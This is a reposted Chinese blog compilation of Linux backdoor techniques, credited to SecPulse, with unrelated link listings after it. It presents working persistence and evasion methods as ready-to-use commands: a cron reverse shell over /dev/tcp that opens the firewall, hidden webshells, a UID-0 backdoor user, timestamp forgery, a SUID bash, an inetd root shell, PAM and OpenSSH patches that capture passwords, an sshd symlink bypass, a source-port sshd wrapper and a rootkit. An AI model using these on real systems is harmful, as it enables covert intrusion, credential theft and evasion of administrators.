[转载]Linux后门整理合集(脉搏推荐)
我在思考要不要联系下....都禁止转载了....
简介
利用 Unix/Linux 自带的 Bash 和 Crond 实现远控功能,保持反弹上线到公网机器。
利用方法
先创建 /etc/xxxx 脚本文件(名字自己改),利用该脚本进行反弹。以下脚本代表全自动反弹到 8.8.8.8 的 53 端口。
nano /etc/xxxx
#!/bin/bash if netstat -ano|grep -v grep | grep "8.8.8.8">/dev/null then echo "OK">/dev/null else /sbin/iptables --policy INPUT ACCEPT /sbin/iptables --policy OUTPUT ACCEPT bash -i >& /dev/tcp/8.8.8.8/53 0>&1 fi
chmod +sx /etc/xxxx
然后我们需要修改一下 /etc/crontab 让它定时执行。
nano /etc/crontab 在 /etc/crontab 文件末加入这一行。代表每 1 分钟执行一次。
*/1 * * * * root /etc/xxxx
最后重启一下 crond 的服务。(不同发行版重启方式不一样,自行查询)
service cron reload
service cron start
然后在 8.8.8.8 的服务器上使用 NC 接收 Shell 即可。
nc -vv -lp 53

Linux/Unix 藏文件和文件夹
Linux/Unix 下想藏 Webshell 或者后门什么的,可以利用一下隐藏文件夹和文件。
方法一
比如创建一个名字开头带 . 的 Webshell 或者文件夹,默认情况下是不会显示出来的,浏览器访问的时候加点访问就行。(查看方法:ls -a)
touch .webshell.php 创建名字为 .webshell.php 的文件
mkdir .backdoor/ 创建名字为 .backdoor 的文件夹
终极方法
在管理员喝多了或者脑子转不过来的情况下,是绝对不会发现的!至少我用了这么久是没几个发现的。
是文件的话浏览器访问直接输 ... 就行,目录同理。
touch ... 创建名字为 ... 的文件
mkdir ... 创建名字为 ... 的文件夹
效果如图:

本文《Linux后门整理合集(脉搏推荐)》由armyzer0团队原创投稿安全脉搏,作者老司机,安全脉搏SecPulse.Com独家发表本文,如需要转载,请先联系安全脉搏授权;未经授权请勿转载。
Linux/Unix 添加 UID 为 0 的用户
简介
在 Unix 体系下,UID 为 0 就是 root 权限。所以渗透的时候可以添加一个 UID 为 0 的用户作为后门。
利用方法
useradd -o -u 0 backdoor
Linux/Unix 修改文件时间戳
简介
Unix 下藏后门必须要修改时间,否则很容易被发现,直接利用 touch 就可以了。
比如参考 index.php 的时间,再赋给 webshell.php,结果两个文件的时间就一样了。
利用方法
touch -r index.php webshell.php
或者直接将时间戳修改成某年某月某日。如下 2014 年 01 月 02 日。
touch -t 1401021042.30 webshell.php
系统环境:
dawg:~# uname -a
Linux dawg 2.4.20-1-386 #3 Sat Mar 22 12:11:40 EST 2003 i686 GNU/Linux
SUID shell
利用方法
首先, 先切换成为root用户,并执行以下的命令:
dawg:~# cp /bin/bash /.woot
dawg:~# chmod 4755 /.woot
dawg:~# ls -al /.woot
-rwsr-xr-x 1 root root 690668 Jul 24 17:14 /.woot
当然, 你也可以起其他更具备隐藏性的名字,我想猥琐并机智的你,肯定能想出很多好的名字的。
文件前面的那一点也不是必要的,只是为了隐藏文件( 在文件名的最前面加上“.”,就可以在任意文件目录下进行隐藏) .
现在,做为一个普通用户,我们来启用这个后门:
fw@dawg:~$ id
uid=1000(fw) gid=1000(fw) groups=1000(fw)
fw@dawg:~$ /.woot.woot-2.05b$ id
uid=1000(fw) gid=1000(fw) groups=1000(fw).woot-2.05b$
为什么不行呢?
因为 bash2 针对 suid有一些护卫的措施. 但这也不是不可破的:
.woot-2.05b$ /.woot -p
.woot-2.05b# id
uid=1000(fw) gid=1000(fw) euid=0(root) groups=1000(fw)
使用-p参数来获取一个root shell. 这个euid的意思是 effective user id
这里要特别注意的是,作为一个普通用户执行这个SUID shell时,一定要使用全路径。
小知识:
如何查找那些具有SUID 的文件:
dawg:~# find / -perm +4000 -ls
这时就会返回具有SUID位的文件啦。
远程后门
利用方法
我们使用vi来修改 /etc/inetd.conf 文件
原文件:
#chargen dgram udp wait root internal #discard stream tcp nowait root internal #discard dgram udp wait root internal #daytime stream tcp nowait root internal
修改为:
#discard stream tcp nowait root internal #discard dgram udp wait root internal daytime stream tcp nowait root /bin/bash bash -i
开启inetd:
dawg:~# inetd
如果要强制重启inetd:
dawg:~# ps -ef | grep inetdroot
362 1 0 Jul22 ? 00:00:00 /usr/sbin/inetdroot
13769 13643 0 17:51 pts/1 00:00:00 grep inetd
dawg:~# kill -HUP 362
现在我们就可以用nc来爆菊了:
C:tools 192.168.1.77: inverse host lookup failed: h_errno 11004: NO_DATA (UNKNOWN) [192.168.1.77] 13 (daytime) open bash: no job control in this shell bash-2.05b# bash-2.05b# bash-2.05b# iduid=0(root) gid=0(root) groups=0(root)bash-2.05b# uname -a Linux dawg 2.4.20-1-386 #3 Sat Mar 22 12:11:40 EST 2003 i686 GNU/Linux
可以修改/etc/services文件,加入以下的东西:
woot 6666/tcp #evil backdoor service
然后修改/etc/inetd.conf :
woot stream tcp nowait root /bin/bash bash -i
我们可以修改成一些常见的端口,以实现隐藏。
PAM后门
简介
PAM (Pluggable AuthenticationModules )是由Sun提出的一种认证机制。
它通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活地根据需要给不同的服务配置不同的认证方式而无需更改服务程序,同时也便于向系统中添加新的认证手段。
PAM最初是集成在Solaris中,目前已移植到其它系统中,如Linux、SunOS、HP-UX9.0等。
搭建PAM后门主要思路:pam_unix_auth.c打补丁安装到正常的PAM模块中。
利用方法
1、获取目标系统所使用的PAM版本:
rpm -qa |grep pam
2、编译安装PAM
3、将本地pam_unix_auth.c文件通过打补丁方式,编译生成。
4、编译完后的文件在:modules/pam_unix/.libs/pam_unix.so,后门密码为root123,并会在/tmp/pslog记录root登录密码。
特点:
优势:隐蔽性较强,不易被发现。
劣势:需要编译环境,缺少GCC或其他依赖包容易出现问题
openssh后门
简介
下载新版本的openssh,并下载对应patch包,这个patch文件包含sshbd5.9p1.diff文件为后门文件,
文件包括:auth.c、auth-pam.c、auth-passwd.c、canohost.c、includes.h、log.c、servconf.c、sshconnect2.c、sshlogin.c、version.h
利用方法
#tar -zxvf openssh-5.9p1.tar.gz
#tar -zxvf 0x06-openssh-5.9p1.patch.tar.gz
vim includes.h //修改后门密码,记录文件位置,
/*
#define ILOG "/tmp/ilog" //记录登录到本机的用户名和密码
#define OLOG "/tmp/olog" //记录本机登录到远程的用户名和密码
#define SECRETPW "root123" //你后门的密码
*/
特点:
优势:隐蔽性较强,不易被发现。
劣势:需要编译环境,缺少GCC或其他依赖包容易出现问题。
快速获得ssh后门
简介
执行命令就会派生一个31337端口,然后连接31337,用root/bin/ftp/mail当用户名,密码随意,就可登陆。
利用方法
在远程主机上执行:
#ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337;
就会派生一个31337端口,然后连接31337,用root/bin/ftp/mail当用户名,密码随意,就可登陆。
特点:
优势:隐蔽性较弱,适合短时间连接。
劣势:重启后会断开,无法后弹连接。
SSH wrapper后门
简介
init首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。
原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。
此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell。
利用方法
客户端:
[root@localhost ~]# cd /usr/sbin
[root@localhost sbin]# mv sshd ../bin
[root@localhost sbin]# echo '#!/usr/bin/perl' >sshd
[root@localhost sbin]# echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
[root@localhost sbin]# echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
[root@localhost sbin]# chmod u+x sshd
[root@localhost sbin]# /etc/init.d/sshd restart
控制端:
socat STDIOTCP4:target_ip:22,sourceport=19526
特点:
优势:隐蔽性较强,无需要编译,使用于大部分环境中。
劣势:需要重启sshd进程。
mafix rootkit创建后门
简介
Mafix是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现远程登陆的特点是配置简单并可以自定义验证密码和端口号。
利用方法
安装完成后,使用ssh 用户@IP -P 配置的端口,即可远程登录。
特点:
优势:隐蔽性一般,无需要编译。
劣势:会替换ls等命令,容易被识破
本文《Linux后门整理合集(脉搏推荐)》由armyzer0团队原创投稿安全脉搏,作者老司机,安全脉搏SecPulse.Com独家发表本文,如需要转载,请先联系安全脉搏授权;未经授权请勿转载。
[转载]Linux后门整理合集(脉搏推荐)的更多相关文章
- Android优秀资源整理合集(论菜鸟到高级攻城狮)
转载请注明转自:http://blog.csdn.net/u011176685/article/details/51434702 csdn文章:Android优秀资源整理合集(论菜鸟到高级攻城狮) 时 ...
- PyTorch常用代码段整理合集
PyTorch常用代码段整理合集 转自:知乎 作者:张皓 众所周知,程序猿在写代码时通常会在网上搜索大量资料,其中大部分是代码段.然而,这项工作常常令人心累身疲,耗费大量时间.所以,今天小编转载了知乎 ...
- 转:python教程专题资源免费下载整理合集收藏
python教程专题资源免费下载整理合集收藏 < Python学习手册(第4版)>(Learning Python, 4th Edition)[PDF] 94MB 简体中文 <Pyt ...
- CAD教程/视频教程/软件类专题资料免费下载整理合集
CAD教程&视频教程类专题资料免费下载 资源列表:http://www.xiaodianlv.com/group/cad/ [1] <AUTOCAD2012中文版全套视频教程大合集> ...
- iOS开发-发送邮件(E-mail)方法整理合集(共3种)
前言:在IOS开发中,有时候我们会需要用到邮件发送的功能.比如,接收用户反馈和程序崩溃通知等等.其实这个功能是很常用的,因为我目前就有发送邮件的开发需求,所以顺便整理下IOS发送邮件的方法. IOS原 ...
- 发送邮件(E-mail)方法整理合集
在IOS开发中,有时候我们会需要用到邮件发送的功能.比如,接收用户反馈和程序崩溃通知等等.其实这个功能是很常用的,因为我目前就有发送邮件的开发需求,所以顺便整理下IOS发送邮件的方法. IOS原生自带 ...
- keras 入门整理 如何shuffle,如何使用fit_generator 整理合集
keras入门参考网址: 中文文档教你快速建立model keras不同的模块-基本结构的简介-类似xmind整理 Keras的基本使用(1)--创建,编译,训练模型 Keras学习笔记(完结) ke ...
- CV codes代码分类整理合集 《转》
from:http://www.sigvc.org/bbs/thread-72-1-1.html 一.特征提取Feature Extraction: SIFT [1] [Demo program] ...
- NGINX PHP 报错整理合集
NGINX PHP "No input file specified" 修改php.ini conf cgi.fix_pathinfo=1; 修改nginx.conf,中的fast ...
随机推荐
- Vue.use初探
Vue.use 问题 相信很多人在用Vue使用别人的组件时,会用到 Vue.use(). 例如:Vue.use(VueRouter).Vue.use(MintUI). 但是用 axios时,就不需要用 ...
- Solution -「LOCAL」二进制的世界
\(\mathcal{Description}\) OurOJ. 给定序列 \(\{a_n\}\) 和一个二元运算 \(\operatorname{op}\in\{\operatorname{ ...
- Solution -「UOJ #450」复读机
\(\mathcal{Description}\) Link. 求从 \(m\) 种颜色,每种颜色无限多的小球里选 \(n\) 个构成排列,使得每种颜色出现次数为 \(d\) 的倍数的排列方案 ...
- ASP.NET Core 6框架揭秘实例演示[06]:依赖注入框架设计细节
由于依赖注入具有举足轻重的作用,所以<ASP.NET Core 6框架揭秘>的绝大部分章节都会涉及这一主题.本书第3章对.NET原生的依赖注入框架的设计和实现进行了系统的介绍,其中设计一些 ...
- Django整体模型理解(1)
Django大概理解 *models: 设计一个模型,即在数据库中设计一个表,一个模型就是对应一个数据库中的表:models是一个类,类名就是表名,而类的属性就是表的字段.如下例子设计了两个表: f ...
- pytest--fixture基本使用(主要用来进行测试环境的初始化和清理,fixture中的params参数还可以用来进行参数化)
fixture fixture修饰器来标记固定的工厂函数,在其他函数,模块,类或整个工程调用它时会被激活并优先执行,通常会被用于完成预置处理和重复操作. 方法: fixture(scope=" ...
- 在 WPF 客户端实现 AOP 和接口缓存
随着业务越来越复杂,最近决定把一些频繁查询但是数据不会怎么变更的接口做一下缓存,这种功能一般用 AOP 就能实现了,找了一下客户端又没现成的直接可以用,嗐,就只能自己开发了. 代理模式和AOP 理解代 ...
- Django框架表关系外键-多对多外键(增删改查)-正反向的概率-多表查询(子查询与联表查询)
目录 一:表关系外键 1.提前创建表关系 2.目前只剩 书籍表和 书籍作者表没创建信息. 3.增 4.删 5.修改 二:多对多外键增删改查 1.给书籍绑定作者 2.删 3.修改 4.清空 三:正反向的 ...
- 【C# IO 操作 】详解去掉字符顺序标记(BOM)头的方法
类似WINDOWS自带的记事本等软件,在保存一个以UTF-8编码的文件时,会在文件开始的地方插入三个不可见的字符(0xEF 0xBB 0xBF,即BOM).它是一串隐藏的字符,用于让记事本等编辑器识别 ...
- Linux Shell 变量自加
转至:https://blog.csdn.net/dj0379/article/details/50946398/ declare -i iv=$svnvlet iv+=1shell中变量自增的实现方 ...